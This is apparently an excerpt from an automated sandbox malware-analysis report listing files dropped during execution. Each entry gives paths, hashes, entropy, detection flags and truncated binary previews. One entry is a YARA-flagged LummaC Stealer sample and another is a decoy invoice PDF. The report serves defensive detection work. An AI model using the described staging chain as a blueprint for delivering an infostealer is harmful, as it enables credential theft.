SHA-512:	8AAB79958BF39F014FBA7F69287FE0C357746E63FA3482DE3231BDF4A97B964A0815DAF7BFE9751C55BA6BE618E0A964CEB23FC30B4FA9DFEB284F42EBA897BF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3b9b0e55-1245-4edd-875d-ddb48a0da2df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\58237522-87ce-4417-90e6-2f2a85ccd8bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e666a1c3-bff2-4a5a-9b66-4f7afe3b7439.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\ryuvnp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300544
Entropy (8bit):	6.8710968776250505
Encrypted:	false
SSDEEP:	6144:U7OrQ0hUFver4GaPojyx+Vvb7hY4Vivdd9Y718z:GgCeUGa2Evdd9k18z
MD5:	7ACC498C8D53353363A5A9CD9A01599F
SHA1:	1362143B342FBF303DF190298C02D18672F91889
SHA-256:	84827B2B4784E78C8FA39F9EAF66AF5D579EFC96107F9763CB0786AD69F547C1
SHA-512:	8D67755DE73CB827480E6C1344A42A1D8D4716C24102F690DB01DE3E853F6BABAE20CD95AA9E97382DDEF3DF2F5C6896C1C282C17A0503631EEA3E0BB72A46F7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: C:\Users\user\AppData\Local\Temp\ryuvnp, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....!V..........................................@.......................................@.................................................................. ...9..................................................,................................text............................... ..`.rdata... ......."..................@..@.data............P..................@....CRT.................B..............@..@.reloc...9... ...:...D..............@..Bnfrkk.... ...`.......~..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3082476
Entropy (8bit):	7.942187420365579
Encrypted:	false
SSDEEP:	49152:sfU4UjEXzJK3Ecgbh2h39tV9oChSkJ0h37Hfan8oO9obENintSHdhQxnMZkPV:sfUbYXzJqoh21Rmx/uLTDngKxh
MD5:	EAE347B707607585B09FF0515E84087C
SHA1:	7D40A7154DA56584AF72412CF8DF836FEE553231
SHA-256:	28E81F29AD7E980AB13E22E05D19C2A67D75B5448E2F3A41C094B573F8B74598
SHA-512:	749C3AE365AAB6273D070726CAB90AF0FF663D4DCFCC7DCC1831E0377D470D95F6D61472312169DF15659A26505BA3AE99AD50D43A5578FA4324ED26B64CF7B4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A!.S.@...@...@......@.....y@......@..."\|..@..."{..@..."z.#@...8...@...8...@...@~.PA...#z.N@...#...@...@...@...#}..@..Rich.@..................PE..L......Z.....................t....................@..........................P............@..............................................:.......................=..Pv..T....................v......0p..@...................4........................text...7........................... ..`.rdata..`...........................@..@.data...0...........................@....wixburn8...........................@..@.rsrc....:.......<..................@..@.reloc...=.......>..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	114905
Entropy (8bit):	7.668231614662199
Encrypted:	false
SSDEEP:	3072:jeoHTJykCVHX9YGQ9eet/vXZ7bBLZ/YOoEGs4Ga4L8/3F9q0a5wi0sbgQa6:yoH9e9YGBUwi0a54sbW6
MD5:	E6CA828043E98DD4CAF25C734E02B125
SHA1:	A557D937514A1430246D18D73EB32DFEF96851E3
SHA-256:	AA395834597F348B15C4A7A4FCFDBD28EB92A0A2D34AFE67AD8EB3E1E43E812C
SHA-512:	D6F470229AFF27285D6F0579958F7911095D942B11F97037E14170FB178874C34B8631BB1995943326B872934B457A2484E96AB1B7F85F972D0712DF26C6708E
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 18 0 R/MarkInfo<</Marked true>>/Metadata 146 0 R/ViewerPreferences 147 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 15 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</XObject<</Image5 5 0 R>>/ExtGState<</GS7 7 0 R/GS10 10 0 R>>/Font<</F1 8 0 R/F2 11 0 R/F3 13 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.25 842] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 9352>>..stream..x..][s..~W....7r+<..N.VU.%;Z.^....>P.D).HG....<.7.S....9g8...1.a....}.....h.....?...._<}......._l.\|...^........j[U..V.1.V.M...w.......?7....m...Vo.KG..q.....{.....+.y\|....{.'_...<x.....Z=.............[:"<BWU.u.i.....G~.}../.F......SH..M..>.}.6..C_=W..Um.......n......._ ..3..(.>YVo........R...m....\u.....W...>?....#....ss...=.W^..............3.k..n..E..^...%q...&..j.6.....Hw@.

C:\Users\user\AppData\Roaming\UltraChrome\msvcr90.dll

Download File

Process:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	653952
Entropy (8bit):	6.885961951552677
Encrypted:	false
SSDEEP:	12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
MD5:	11D49148A302DE4104DED6A92B78B0ED
SHA1:	FD58A091B39ED52611ADE20A782EF58AC33012AF
SHA-256:	CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
SHA-512:	FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: upgrade.hta, Detection: malicious, Browse Filename: file.ps1, Detection: malicious, Browse Filename: bUAmCazc.ps1, Detection: malicious, Browse Filename: KBKHHYI29L.msi, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: evhopi.ps1, Detection: malicious, Browse Filename: 9nobq4rqr0.exe, Detection: malicious, Browse Filename: Rechnung0192839182.pdf, Detection: malicious, Browse Filename: tera10.zip, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................\|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraChrome\nuuinqb

Download File

Process:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
File Type:	data
Category:	dropped
Size (bytes):	785809
Entropy (8bit):	7.8961399536577455
Encrypted:	false
SSDEEP:	12288:U7+7mOB4HOu13QO9CviA3N4AS2HCczmxq9q4SZGmxB9i8k/yHUhyCLl:U7amOBfu1b9CviA82icis9yZhkbsal
MD5:	43341E3555F6556A2903517C245FDDB1
SHA1:	20F493333103CE83D21A72D8AED9FF7EC835626F
SHA-256:	00711B19D0EC268E1816F3661AA9ABCD38E4D0F990CB464136BB3E1FCEBCBECF
SHA-512:	3DA8E93C4AD6112535A8AA8C440E3D03F3AC2EEF248FB171EE3830093AA9293749CF79474DA9965EF7F25415B7BE9A8AB1BAD3BD3099E06B9581DCE465C2BEA7
Malicious:	false
Preview:	xM...I.wF.R..q.....LW...Fd....^.....y......q....eRF.jB..hA.E.bR..a.lvl....vN..GY.^.FEQ.S..r....WX.\.XO...uvt.xF.B.fIy[UjH.f.^T.l.tn..l..An.p..T.G..F.dND[Vq.dvk.LHM_Aq.iK..hG[FBoq.aIW.v.e.U.E..hUO..h^.I\.Lp..IO.IMGZ..F.UD.F...j...m.lC.f.u.m...J..NJY.UdT..f.o.H....M.T.tB.v..cA..BW..vB.Wd..ph....n.....qi.A.kH..cMtU...gwyYD.B].]....A.Y...W..I`vx.Jt.XO...f..D.p..nU..P..xC..V.KJe.[.Lo._....`i.g..AMciN..C...NoatDm..^deI...._..KIxVyD..l...Z.B..Mj.......e.I.S.pAGU.K.`W.....\.hW..ov..x..Y.h...N._v.n...bu..X..D..P.F.Z...OX.EL.I[uZ..ceN.t.r.wca..f_...lh^..x.r.l.wT.lHU.Wcx.X.......NE...V...NuH..w..tY..m^I..nV.].....PX..C.vDJ.my.xshE..^.TNi.K..NM\yhs.M...i^.gIhG.n.FnjP...^.m..LC.WeQF.\piArPw.....xg.^.^.jD..l.Q..y.HG....v...\e..w.b.J_ELH.u..b..OM`..j....I.....Yy..V..]m.ks.i[.yuAA.tu....AQ.I.JH\.......]t.F.]..Ti.M.FP.`LF.e..`_.U.RRTkT...VuV.gOA.P.iBs.fXW....vlp_....^...XI.`lX.y...U.R..q.s.QDi`w...Q.\Kdu.A....T...i..wxEA...M.ZGF.e....GNC..L.yJAN.....XV....`F^.Tr.RvS.So.V.Irj.o.....u\t.A..`..y...Hr.c...

C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe

Download File

Process:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29152
Entropy (8bit):	6.656857622778623
Encrypted:	false
SSDEEP:	768:+yq82Ud7/zfkn8I+ilpd4TILqIgXYoBCH/3hprl:Zq824LfMV4TqqIgXYoBCH/3hpB
MD5:	B6F6C3C38568EE26F1AC70411A822405
SHA1:	5B94D0ADAC4DF2D7179C378750C4E3417231125F
SHA-256:	A73454C7FAD23A80A3F6540AFDB64FC334980A11402569F1986AA39995AE496D
SHA-512:	5C0A5E9A623A942AFF9D58D6E7A23B7D2BBA6A4155824AA8BB94DBD069A8C15C00DF48F12224622EFCD5042B6847C8FB476C43390E9E576C42EFC22E3C02A122
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=...=...=....`.?...#.e.?...#.c.<...#.r.?.......8...=...f...#.u.$...#.b.<...#.g.<...Rich=...................PE..L......I................."...(......a,.......@....@..................................u......................................lB..P....p..@............N...#...........................................A..@............@..x............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........P.......0..............@....rsrc...@....p.......<..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraChrome\python27.dll

Download File

Process:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2649600
Entropy (8bit):	6.720396083797047
Encrypted:	false
SSDEEP:	49152:sd0krhjbVYU9U/ElyrLKlvGBO58GBjI9nYM6JBe4PjnhMsQHNClhIdYTf2O+yX3l:lkrRyylvGB652NCMghMtHIledkpX4
MD5:	142993A82414D3FA9C7904947E67A905
SHA1:	B4FAAD4FB70B7B162CC5AA0D0424C97161D7568C
SHA-256:	DB33DD28D3365144495CB84F586E029BBC90A5FC94208A1B206A55B05C1C06DF
SHA-512:	6A1AA960352420C4C583F74F61D93A5A3F3826F3E2BA32B7CDB72EBFF1D28662E30BF41A56FC8CE3559F33AA56C384975D91E0C9C0FE434AC71ADCAAA6F10AF2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Bu....{...{...{..[...{..l...{..l....{..l....{..l...{...z.<.{..l..{..l...{..l...{..l...{.Rich..{.................PE..L...x..^...........!.........................................................).....\g)...@..........................g!..\|...Q!.x....@(. ....................P(..Z.. ................................O!.@............................................text...z........................... ..`.rdata...D.......F..................@..@.data...pC....!..(....!.............@....rsrc... ....@(.......&.............@..@.reloc..~f...P(..h....'.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraChrome\uemyb

Download File

Process:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
File Type:	data
Category:	dropped
Size (bytes):	48414
Entropy (8bit):	4.708963357337208
Encrypted:	false
SSDEEP:	768:TBecXfqXf1NYNIInfYgQHny+jIjZqd0VXSFonM1DUZazSyE3e4NTTB:FhXumbjMQSFonM2U38est
MD5:	BD34E124C62C5916C58859BF725D1DFF
SHA1:	4C3A7552AD57433A0F4D38A4527F5B92D6C361A7
SHA-256:	9025D6D49F7E049236639E657A30692E47BBECD826857B90A26DCA637C081CBB
SHA-512:	C0EA564EEFBF96ECD80E1DA5DB649CE2E23199FDDC9CD5BC35A49487F8F65CB1A33FDF9D0FE79BEB417A1F311AB2B3FC134D5E610C26789B9855DF4FE2DC4490
Malicious:	false
Preview:	.........UaZQ........y.ly.F...^..pmMW.Q.rib...[...f.M......t.._...u....SP.d..j..S\oW.Mu..pGTp.pv.j.....ZwBiuv..EqTo...IlKX..Zs..d.Q..ARmk......_.L.._MAp.....W.A...IF.c.Da[.^v...CS..y...[...J.k....UA...\.....e.y..Y.[e.W..D..Ub.Hy.y........nv.eSf...y..].l.k..i.Th]..VCa..EY..R.ZbC.h.k.YI`.UveZ...\..nF.b....t[....UES...GiP.SNw..G.[u.iG.\`.H^....OHw...Z.xKr.JJ.....m.......rpb.ktCw.c.Q..w.....JvMFl.L..pb.b.....].l.Iy.pHL..N.gY..e....x....Ues....]...Ts.^C....q.Q.N....O....Ub....g.Y.r..y.P[q.....\.T..L.Fch^..s.FofO......LZNhKL.g.N..N..Al.i.j...PpZFF.p.R^...sJ...SW..Gn^gv`c.sVJWfyRKJgb.I.J..`.I.._Lll.ZU....jO`...]_.p\[.x...Atb.Y.W..\o.YV.a[btU..Wd.T[OX.q.V.j.RJ.EN.`uf....OpK.sGo.I.`jh.RJb.u..YZGi].x..Z\.q.Q....RW....a.Q..dK.K..H......G.r..wS....Lx.\......U..y....n.aM.b.tMX.lfHO^q.s.F.BF.R...Z.....l.nG..q...xJ.HS.d..vo.u.SK.otiMa.DcvG..s.E.m.AlVYsdoAV...h.....ux.Fe..a^K..Jtkk...........H.d.t...ca...p.....P..`LgxEVo...^..f...IlTvJ[...^`.S.uXeTt...s....G.xc.Iq.IMkc.o..Ji..AUM..TqsNpXU..pT]c.].LeQj

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\BootstrapperApplicationData.xml

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (505), with CRLF line terminators
Category:	dropped
Size (bytes):	2450
Entropy (8bit):	3.7468490440653532
Encrypted:	false
SSDEEP:	48:y+03qHhhOeIInpne1+eMc+wJa0wfyc5TYafj3i+prqLL7iOWpral:XJpn6+eMc+v0wfycljlprqLP7WprM
MD5:	108BC8FD6465B132B6E695B8A7E692A4
SHA1:	5C7A841DFB5CDCF274A9CE22F173E4584CFD07C1
SHA-256:	4B10EF2B1AAEA1003FB7A77744920EDAB9F6D9E59718A3586A4A82DEBBFD823D
SHA-512:	5F5225F7AEB8987472D6E04869B1659BC38AA85ABEAED8FEDEB39EB354BF8D9EF63BD27B0E99CD95312A5A172692ADBCB31F76E78ECE75F79EBB4D95FE46D95D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.B.o.o.t.s.t.r.a.p.p.e.r.A.p.p.l.i.c.a.t.i.o.n.D.a.t.a. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.x./.2.0.1.0./.B.o.o.t.s.t.r.a.p.p.e.r.A.p.p.l.i.c.a.t.i.o.n.D.a.t.a.".>..... . .<.W.i.x.B.u.n.d.l.e.P.r.o.p.e.r.t.i.e.s. .D.i.s.p.l.a.y.N.a.m.e.=.".C.h.o.w.c.h.o.w.". .L.o.g.P.a.t.h.V.a.r.i.a.b.l.e.=.".W.i.x.B.u.n.d.l.e.L.o.g.". .C.o.m.p.r.e.s.s.e.d.=.".n.o.". .I.d.=.".{.1.f.8.e.5.8.e.1.-.a.9.4.b.-.4.1.a.a.-.9.5.7.8.-.1.f.e.c.3.5.9.7.e.3.6.5.}.". .U.p.g.r.a.d.e.C.o.d.e.=.".{.7.9.7.2.7.7.6.7.-.1.C.C.C.-.4.4.C.4.-.8.3.0.6.-.4.9.8.A.D.9.3.5.2.6.A.3.}.". .P.e.r.M.a.c.h.i.n.e.=.".y.e.s.". ./.>..... . .<.W.i.x.P.a.c.k.a.g.e.P.r.o.p.e.r.t.i.e.s. .P.a.c.k.a.g.e.=.".S.t.r.a.n.d.". .V.i.t.a.l.=.".y.e.s.". .D.i.s.p.l.a.y.N.a.m.e.=.".M.i.c.r.o.s.o.f.t. .V.i.s.u.a.l. .C.+.+. .2.0.2.2. .X.6.4. .A.d.d.i.t.i.o.n.a.l. .R.u.n.t.i.m.e. .-. .1.4...4.0...3.3.8.1.0.". .D.o.w.n.l.o.a.d.S.i.z.e.

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\Gloom.dll

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	475136
Entropy (8bit):	5.874504072012632
Encrypted:	false
SSDEEP:	12288:N7QqvXGL+z42tZ9dDrEbAd7d4BlaoiHWFQt9wM:N7fj42tZ/4bAd7d4BgoiHWFQt9wM
MD5:	7392D065D0F9B1D9C71FCD98B1FA4BE2
SHA1:	234186438615B22B6B7590D4544350F307CF401D
SHA-256:	99C3ED31D9314C584F943A9A9FCD040795004DA5637E67F54F6F7A45EFC556D6
SHA-512:	597ECA388A1FD774FFE19F7A9C1587128A0282D814F733B2BA2B0048B698DCA08EF095068451DC14DCAEDEA287049759EB3ED2ECB5AA2FA95EF5DE55A0CF1879
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{o,]...]...]...2...U.......}...2.../....91.)...]...'...?...T....90.Q.......\....:..\...Rich]...................PE..L......=...........!................................................................................................`m.......c..d....`..x....................p...&...................................................................................text.............................. ..`.rdata..............................@..@.data........p.......p..............@....rsrc...x....`......................@..@.reloc..P3...p...@..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	653952
Entropy (8bit):	6.885961951552677
Encrypted:	false
SSDEEP:	12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
MD5:	11D49148A302DE4104DED6A92B78B0ED
SHA1:	FD58A091B39ED52611ADE20A782EF58AC33012AF
SHA-256:	CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
SHA-512:	FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................\|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\nuuinqb

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	data
Category:	dropped
Size (bytes):	785809
Entropy (8bit):	7.8961399536577455
Encrypted:	false
